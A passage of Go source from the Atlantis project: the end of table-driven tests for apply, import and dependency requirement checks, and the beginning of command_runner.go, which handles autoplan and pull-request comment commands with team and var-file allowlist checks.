{\n\trepoDir := \"repoDir\"\n\tfullRequirements := []string{\n\t\traw.ApprovedRequirement,\n\t\tvalid.PoliciesPassedCommandReq,\n\t\traw.MergeableRequirement,\n\t\traw.UnDivergedRequirement,\n\t}\n\ttests := []struct {\n\t\tname        string\n\t\tctx         command.ProjectContext\n\t\tsetup       func(workingDir *mocks.MockWorkingDir)\n\t\twantFailure string\n\t\twantErr     assert.ErrorAssertionFunc\n\t}{\n\t\t{\n\t\t\tname:    \"pass no requirements\",\n\t\t\tctx:     command.ProjectContext{},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"pass full requirements\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tApplyRequirements: fullRequirements,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus:  models.ApprovalStatus{IsApproved: true},\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tProjectPlanStatus: models.PassedPolicyCheckStatus,\n\t\t\t},\n\t\t\tsetup: func(workingDir *mocks.MockWorkingDir) {\n\t\t\t\tWhen(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false)\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no approved\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tApplyRequirements: []string{raw.ApprovedRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus: models.ApprovalStatus{IsApproved: false},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be approved according to the project's approval rules before running apply.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no policy passed\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tApplyRequirements: []string{valid.PoliciesPassedCommandReq},\n\t\t\t\tProjectPlanStatus: models.ErroredPolicyCheckStatus,\n\t\t\t\tProjectPolicyStatus: []models.PolicySetStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\tPassed:        false,\n\t\t\t\t\t\tApprovals:     0,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"All policies must pass for project before running apply.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no mergeable\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tApplyRequirements: []string{raw.MergeableRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: false},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be mergeable before running apply.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by diverged\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tApplyRequirements: []string{raw.UnDivergedRequirement},\n\t\t\t},\n\t\t\tsetup: func(workingDir *mocks.MockWorkingDir) {\n\t\t\t\tWhen(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true)\n\t\t\t},\n\t\t\twantFailure: \"Default branch must be rebased onto pull request before running apply.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\ta := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir}\n\t\t\tif tt.setup != nil {\n\t\t\t\ttt.setup(workingDir)\n\t\t\t}\n\t\t\tgotFailure, err := a.ValidateApplyProject(repoDir, tt.ctx)\n\t\t\tif !tt.wantErr(t, err, fmt.Sprintf(\"ValidateApplyProject(%v, %v)\", repoDir, tt.ctx)) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tassert.Equalf(t, tt.wantFailure, gotFailure, \"ValidateApplyProject(%v, %v)\", repoDir, tt.ctx)\n\t\t})\n\t}\n}\n\nfunc TestRequirements_ValidateProjectDependencies(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\tctx         command.ProjectContext\n\t\tsetup       func(workingDir *mocks.MockWorkingDir)\n\t\twantFailure string\n\t\twantErr     assert.ErrorAssertionFunc\n\t}{\n\t\t{\n\t\t\tname:    \"pass no dependencies\",\n\t\t\tctx:     command.ProjectContext{},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"pass all dependencies applied\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tDependsOn: []string{\"project1\"},\n\t\t\t\tPullStatus: &models.PullStatus{\n\t\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project1\",\n\t\t\t\t\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"Fail all dependencies are not applied\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tDependsOn: []string{\"project1\", \"project2\"},\n\t\t\t\tPullStatus: &models.PullStatus{\n\t\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project1\",\n\t\t\t\t\t\t\tStatus:      models.PlannedPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project2\",\n\t\t\t\t\t\t\tStatus:      models.ErroredApplyStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Can't apply your project unless you apply its dependencies: [project1]\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"Fail one of dependencies is not applied\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tDependsOn: []string{\"project1\", \"project2\"},\n\t\t\t\tPullStatus: &models.PullStatus{\n\t\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project1\",\n\t\t\t\t\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project2\",\n\t\t\t\t\t\t\tStatus:      models.ErroredApplyStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Can't apply your project unless you apply its dependencies: [project2]\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"Should not fail if one of dependencies is not applied but it has no changes to apply\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tDependsOn: []string{\"project1\", \"project2\"},\n\t\t\t\tPullStatus: &models.PullStatus{\n\t\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project1\",\n\t\t\t\t\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project2\",\n\t\t\t\t\t\t\tStatus:      models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"In the case of more than one dependency, should not continue to check dependencies if one of them is not in applied status\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tDependsOn: []string{\"project1\", \"project2\"},\n\t\t\t\tPullStatus: &models.PullStatus{\n\t\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project1\",\n\t\t\t\t\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project2\",\n\t\t\t\t\t\t\tStatus:      models.ErroredApplyStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tProjectName: \"project3\",\n\t\t\t\t\t\t\tStatus:      models.PlannedPlanStatus,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Can't apply your project unless you apply its dependencies: [project2]\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\ta := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir}\n\t\t\tgotFailure, err := a.ValidateProjectDependencies(tt.ctx)\n\t\t\tif !tt.wantErr(t, err, fmt.Sprintf(\"ValidateProjectDependencies(%v)\", tt.ctx)) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tassert.Equalf(t, tt.wantFailure, gotFailure, \"ValidateProjectDependencies(%v)\", tt.ctx)\n\t\t})\n\t}\n}\n\nfunc TestAggregateApplyRequirements_ValidateImportProject(t *testing.T) {\n\trepoDir := \"repoDir\"\n\tfullRequirements := []string{\n\t\traw.ApprovedRequirement,\n\t\traw.MergeableRequirement,\n\t\traw.UnDivergedRequirement,\n\t}\n\ttests := []struct {\n\t\tname        string\n\t\tctx         command.ProjectContext\n\t\tsetup       func(workingDir *mocks.MockWorkingDir)\n\t\twantFailure string\n\t\twantErr     assert.ErrorAssertionFunc\n\t}{\n\t\t{\n\t\t\tname:    \"pass no requirements\",\n\t\t\tctx:     command.ProjectContext{},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"pass full requirements\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tImportRequirements: fullRequirements,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus:  models.ApprovalStatus{IsApproved: true},\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tProjectPlanStatus: models.PassedPolicyCheckStatus,\n\t\t\t},\n\t\t\tsetup: func(workingDir *mocks.MockWorkingDir) {\n\t\t\t\tWhen(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false)\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no approved\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tImportRequirements: []string{raw.ApprovedRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus: models.ApprovalStatus{IsApproved: false},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be approved according to the project's approval rules before running import.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no mergeable\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tImportRequirements: []string{raw.MergeableRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: false},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be mergeable before running import.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by diverged\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tImportRequirements: []string{raw.UnDivergedRequirement},\n\t\t\t},\n\t\t\tsetup: func(workingDir *mocks.MockWorkingDir) {\n\t\t\t\tWhen(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true)\n\t\t\t},\n\t\t\twantFailure: \"Default branch must be rebased onto pull request before running import.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\ta := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir}\n\t\t\tif tt.setup != nil {\n\t\t\t\ttt.setup(workingDir)\n\t\t\t}\n\t\t\tgotFailure, err := a.ValidateImportProject(repoDir, tt.ctx)\n\t\t\tif !tt.wantErr(t, err, fmt.Sprintf(\"ValidateImportProject(%v, %v)\", repoDir, tt.ctx)) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tassert.Equalf(t, tt.wantFailure, gotFailure, \"ValidateImportProject(%v, %v)\", repoDir, tt.ctx)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/command_runner.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/gitea\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\t\"github.com/runatlantis/atlantis/server/recovery\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n\t\"github.com/uber-go/tally/v4\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nconst (\n\tShutdownComment = \"Atlantis server is shutting down, please try again later.\"\n)\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_command_runner.go CommandRunner\n\n// CommandRunner is the first step after a command request has been parsed.\ntype CommandRunner interface {\n\t// RunCommentCommand is the first step after a command request has been parsed.\n\t// It handles gathering additional information needed to execute the command\n\t// and then calling the appropriate services to finish executing the command.\n\tRunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *CommentCommand)\n\tRunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User)\n}\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_github_pull_getter.go GithubPullGetter\n\n// GithubPullGetter makes API calls to get pull requests.\ntype GithubPullGetter interface {\n\t// GetPullRequest gets the pull request with id pullNum for the repo.\n\tGetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error)\n}\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_azuredevops_pull_getter.go AzureDevopsPullGetter\n\n// AzureDevopsPullGetter makes API calls to get pull requests.\ntype AzureDevopsPullGetter interface {\n\t// GetPullRequest gets the pull request with id pullNum for the repo.\n\tGetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error)\n}\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_gitlab_merge_request_getter.go GitlabMergeRequestGetter\n\n// GitlabMergeRequestGetter makes API calls to get merge requests.\ntype GitlabMergeRequestGetter interface {\n\t// GetMergeRequest gets the pull request with the id pullNum for the repo.\n\tGetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*gitlab.MergeRequest, error)\n}\n\n// CommentCommandRunner runs individual command workflows.\ntype CommentCommandRunner interface {\n\tRun(*command.Context, *CommentCommand)\n}\n\nfunc buildCommentCommandRunner(\n\tcmdRunner *DefaultCommandRunner,\n\tcmdName command.Name,\n) CommentCommandRunner {\n\t// panic here, we want to fail fast and hard since\n\t// this would be an internal service configuration error.\n\trunner, ok := cmdRunner.CommentCommandRunnerByCmd[cmdName]\n\n\tif !ok {\n\t\tpanic(fmt.Sprintf(\"command runner not configured for command %s\", cmdName.String()))\n\t}\n\n\treturn runner\n}\n\n// DefaultCommandRunner is the first step when processing a comment command.\ntype DefaultCommandRunner struct {\n\tVCSClient                vcs.Client `validate:\"required\"`\n\tGithubPullGetter         GithubPullGetter\n\tAzureDevopsPullGetter    AzureDevopsPullGetter\n\tGitlabMergeRequestGetter GitlabMergeRequestGetter\n\tGiteaPullGetter          *gitea.Client\n\t// User config option: Disables autoplan when a pull request is opened or updated.\n\tDisableAutoplan      bool\n\tDisableAutoplanLabel string\n\tEventParser          EventParsing\n\t// User config option: Fail and do not run the Atlantis command request if any of the pre workflow hooks error\n\tFailOnPreWorkflowHookError bool\n\tLogger                     logging.SimpleLogging `validate:\"required\"`\n\tGlobalCfg                  valid.GlobalCfg       `validate:\"required\"`\n\tStatsScope                 tally.Scope           `validate:\"required\"`\n\t// User config option: controls whether to operate on pull requests from forks.\n\tAllowForkPRs bool\n\t// ParallelPoolSize controls the size of the wait group used to run\n\t// parallel plans and applies (if enabled).\n\tParallelPoolSize int\n\t// AllowForkPRsFlag is the name of the flag that controls fork PR's. We use\n\t// this in our error message back to the user on a forked PR so they know\n\t// how to enable this functionality.\n\tAllowForkPRsFlag string\n\t// User config option: controls whether to comment on Fork PRs when AllowForkPRs = False\n\tSilenceForkPRErrors bool\n\t// SilenceForkPRErrorsFlag is the name of the flag that controls fork PR's. We use\n\t// this in our error message back to the user on a forked PR so they know\n\t// how to disable error comment\n\tSilenceForkPRErrorsFlag string\n\t// SilenceVCSStatusNoProjects is whether to set commit status if no projects are found\n\tSilenceVCSStatusNoProjects     bool\n\tCommentCommandRunnerByCmd      map[command.Name]CommentCommandRunner `validate:\"required\"`\n\tDrainer                        *Drainer                              `validate:\"required\"`\n\tPreWorkflowHooksCommandRunner  PreWorkflowHooksCommandRunner         `validate:\"required\"`\n\tPostWorkflowHooksCommandRunner PostWorkflowHooksCommandRunner        `validate:\"required\"`\n\tPullStatusFetcher              PullStatusFetcher                     `validate:\"required\"`\n\tTeamAllowlistChecker           command.TeamAllowlistChecker          `validate:\"required\"`\n\tVarFileAllowlistChecker        *VarFileAllowlistChecker              `validate:\"required\"`\n\tCommitStatusUpdater            CommitStatusUpdater                   `validate:\"required\"`\n}\n\n// RunAutoplanCommand runs plan and policy_checks when a pull request is opened or updated.\nfunc (c *DefaultCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) {\n\tif opStarted := c.Drainer.StartOp(); !opStarted {\n\t\tif commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pull.Num, ShutdownComment, command.Plan.String()); commentErr != nil {\n\t\t\tc.Logger.Log(logging.Error, \"unable to comment that Atlantis is shutting down: %s\", commentErr)\n\t\t}\n\t\treturn\n\t}\n\tdefer c.Drainer.OpDone()\n\n\tlog := c.buildLogger(baseRepo.FullName, pull.Num)\n\tdefer c.logPanics(baseRepo, pull.Num, log)\n\tstatus, err := c.PullStatusFetcher.GetPullStatus(pull)\n\n\tif err != nil {\n\t\tlog.Err(\"Unable to fetch pull status, this is likely a bug.\", err)\n\t}\n\n\tscope := c.StatsScope.SubScope(\"autoplan\")\n\ttimer := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer timer.Stop()\n\n\t// Check if the user who triggered the autoplan has permissions to run 'plan'.\n\tif c.TeamAllowlistChecker != nil && c.TeamAllowlistChecker.HasRules() {\n\t\terr := c.fetchUserTeams(log, baseRepo, &user)\n\t\tif err != nil {\n\t\t\tlog.Err(\"Unable to fetch user teams: %s\", err)\n\t\t\treturn\n\t\t}\n\n\t\tok, err := c.checkUserPermissions(baseRepo, user, \"plan\")\n\t\tif err != nil {\n\t\t\tlog.Err(\"Unable to check user permissions: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tif !ok {\n\t\t\treturn\n\t\t}\n\t}\n\n\tctx := &command.Context{\n\t\tUser:       user,\n\t\tLog:        log,\n\t\tScope:      scope,\n\t\tPull:       pull,\n\t\tHeadRepo:   headRepo,\n\t\tPullStatus: status,\n\t\tTrigger:    command.AutoTrigger,\n\t}\n\tif !c.validateCtxAndComment(ctx, command.Autoplan) {\n\t\treturn\n\t}\n\tif c.DisableAutoplan {\n\t\treturn\n\t}\n\tif len(c.DisableAutoplanLabel) > 0 {\n\t\tlabels, err := c.VCSClient.GetPullLabels(ctx.Log, baseRepo, pull)\n\t\tif err != nil {\n\t\t\tctx.Log.Err(\"Unable to get VCS pull/merge request labels: %s. Proceeding with autoplan.\", err)\n\t\t} else if utils.SlicesContains(labels, c.DisableAutoplanLabel) {\n\t\t\tctx.Log.Info(\"Pull/merge request has disable auto plan label '%s' so not running autoplan.\", c.DisableAutoplanLabel)\n\t\t\treturn\n\t\t}\n\t}\n\n\tctx.Log.Info(\"Running autoplan...\")\n\tcmd := &CommentCommand{\n\t\tName: command.Autoplan,\n\t}\n\n\t// Only set pending status if silence is not enabled\n\t// The PlanCommandRunner will handle the final status decision based on project results\n\tif !c.SilenceVCSStatusNoProjects {\n\t\t// Update the combined plan commit status to pending\n\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil {\n\t\t\tctx.Log.Warn(\"unable to update plan commit status: %s\", err)\n\t\t}\n\t} else {\n\t\tctx.Log.Debug(\"silence enabled - not setting pending VCS status\")\n\t}\n\n\tpreWorkflowHooksErr := c.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cmd)\n\n\tif preWorkflowHooksErr != nil {\n\t\tif c.FailOnPreWorkflowHookError {\n\t\t\tctx.Log.Err(\"'fail-on-pre-workflow-hook-error' set, so not running %s command.\", command.Plan)\n\n\t\t\t// Create comment on pull request about the pre-workflow hook failure\n\t\t\terrMsg := fmt.Sprintf(\"```\\nError: Pre-workflow hook failed: %s\\n```\", preWorkflowHooksErr.Error())\n\t\t\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, errMsg, \"\"); err != nil {\n\t\t\t\tctx.Log.Warn(\"Unable to create comment about pre-workflow hook failure: %s\", err)\n\t\t\t}\n\n\t\t\t// Update the plan or apply commit status to failed\n\t\t\tswitch cmd.Name {\n\t\t\tcase command.Plan:\n\t\t\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"Unable to update plan commit status: %s\", err)\n\t\t\t\t}\n\t\t\tcase command.Apply:\n\t\t\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Apply); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"Unable to update apply commit status: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\n\t\tctx.Log.Err(\"'fail-on-pre-workflow-hook-error' not set so running %s command.\", command.Plan)\n\t}\n\n\tautoPlanRunner := buildCommentCommandRunner(c, command.Plan)\n\n\tautoPlanRunner.Run(ctx, nil)\n\n\tc.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cmd) // nolint: errcheck\n}\n\n// commentUserDoesNotHavePermissions comments on the pull request that the user\n// is not allowed to execute the command.\nfunc (c *DefaultCommandRunner) commentUserDoesNotHavePermissions(baseRepo models.Repo, pullNum int, user models.User, cmd *CommentCommand) {\n\terrMsg := fmt.Sprintf(\"```\\nError: User @%s does not have permissions to execute '%s' command.\\n```\", user.Username, cmd.Name.String())\n\tif err := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, errMsg, \"\"); err != nil {\n\t\tc.Logger.Err(\"unable to comment on pull request: %s\", err)\n\t}\n}\n\n// checkUserPermissions checks if the user has permissions to execute the command\nfunc (c *DefaultCommandRunner) checkUserPermissions(repo models.Repo, user models.User, cmdName string) (bool, error) {\n\tif c.TeamAllowlistChecker == nil || !c.TeamAllowlistChecker.HasRules() {\n\t\t// allowlist restriction is not enabled\n\t\treturn true, nil\n\t}\n\tctx := models.TeamAllowlistCheckerContext{\n\t\tBaseRepo:    repo,\n\t\tCommandName: cmdName,\n\t\tLog:         c.Logger,\n\t\tPull:        models.PullRequest{},\n\t\tUser:        user,\n\t\tVerbose:     false,\n\t\tAPI:         false,\n\t}\n\tok := c.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, user.Teams, cmdName)\n\tif !ok {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n\n// checkVarFilesInPlanCommandAllowlisted checks if paths in a 'plan' command are allowlisted.\nfunc (c *DefaultCommandRunner) checkVarFilesInPlanCommandAllowlisted(cmd *CommentCommand) error {\n\tif cmd == nil || cmd.CommandName() != command.Plan {\n\t\treturn nil\n\t}\n\n\treturn c.VarFileAllowlistChecker.Check(cmd.Flags)\n}\n\n// RunCommentCommand executes the command.\n// We take in a pointer for maybeHeadRepo because for some events there isn't\n// enough data to construct the Repo model and callers might want to wait until\n// the event is further validated before making an additional (potentially\n// wasteful) call to get the necessary data.\nfunc (c *DefaultCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *CommentCommand) {\n\tif opStarted := c.Drainer.StartOp(); !opStarted {\n\t\tif commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, ShutdownComment, \"\"); commentErr != nil {\n\t\t\tc.Logger.Log(logging.Error, \"unable to comment that Atlantis is shutting down: %s\", commentErr)\n\t\t}\n\t\treturn\n\t}\n\tdefer c.Drainer.OpDone()\n\n\tlog := c.buildLogger(baseRepo.FullName, pullNum)\n\tdefer c.logPanics(baseRepo, pullNum, log)\n\n\tscope := c.StatsScope.SubScope(\"comment\")\n\n\tif cmd != nil {\n\t\tscope = scope.SubScope(cmd.Name.String())\n\t}\n\ttimer := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer timer.Stop()\n\n\t// Check if the user who commented has the permissions to execute the 'plan' or 'apply' commands\n\tif c.TeamAllowlistChecker != nil && c.TeamAllowlistChecker.HasRules() {\n\t\terr := c.fetchUserTeams(log, baseRepo, &user)\n\t\tif err != nil {\n\t\t\tc.Logger.Err(\"Unable to fetch user teams: %s\", err)\n\t\t\treturn\n\t\t}\n\n\t\tok, err := c.checkUserPermissions(baseRepo, user, cmd.Name.String())\n\t\tif err != nil {\n\t\t\tc.Logger.Err(\"Unable to check user permissions: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tif !ok {\n\t\t\tc.commentUserDoesNotHavePermissions(baseRepo, pullNum, user, cmd)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Check if the provided var files in a 'plan' command are allowlisted\n\tif err := c.checkVarFilesInPlanCommandAllowlisted(cmd); err != nil {\n\t\terrMsg := fmt.Sprintf(\"```\\n%s\\n```\", err.Error())\n\t\tif commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, errMsg, \"\"); commentErr != nil {\n\t\t\tc.Logger.Err(\"unable to comment on pull request: %s\", commentErr)\n\t\t}\n\t\treturn\n\t}\n\n\theadRepo, pull, err := c.ensureValidRepoMetadata(baseRepo, maybeHeadRepo, maybePull, user, pullNum, log)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tstatus, err := c.PullStatusFetcher.GetPullStatus(pull)\n\n\tif err != nil {\n\t\tlog.Err(\"Unable to fetch pull status, this is likely a bug.\", err)\n\t}\n\n\tctx := &command.Context{\n\t\tUser:                 user,\n\t\tLog:                  log,\n\t\tPull:                 pull,\n\t\tPullStatus:           status,\n\t\tHeadRepo:             headRepo,\n\t\tScope:                scope,\n\t\tTrigger:              command.CommentTrigger,\n\t\tPolicySet:            cmd.PolicySet,\n\t\tClearPolicyApproval:  cmd.ClearPolicyApproval,\n\t\tTeamAllowlistChecker: c.TeamAllowlistChecker,\n\t}\n\n\tif !c.validateCtxAndComment(ctx, cmd.Name) {\n\t\treturn\n\t}\n\n\t// Only set pending status if silence is not enabled\n\t// The command runners will handle the final status decision based on project results\n\tif !c.SilenceVCSStatusNoProjects {\n\t\t// Update the combined plan or apply commit status to pending\n\t\tswitch cmd.Name {\n\t\tcase command.Plan:\n\t\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update plan commit status: %s\", err)\n\t\t\t}\n\t\tcase command.Apply:\n\t\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Apply); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update apply commit status: %s\", err)\n\t\t\t}\n\t\t}\n\t} else 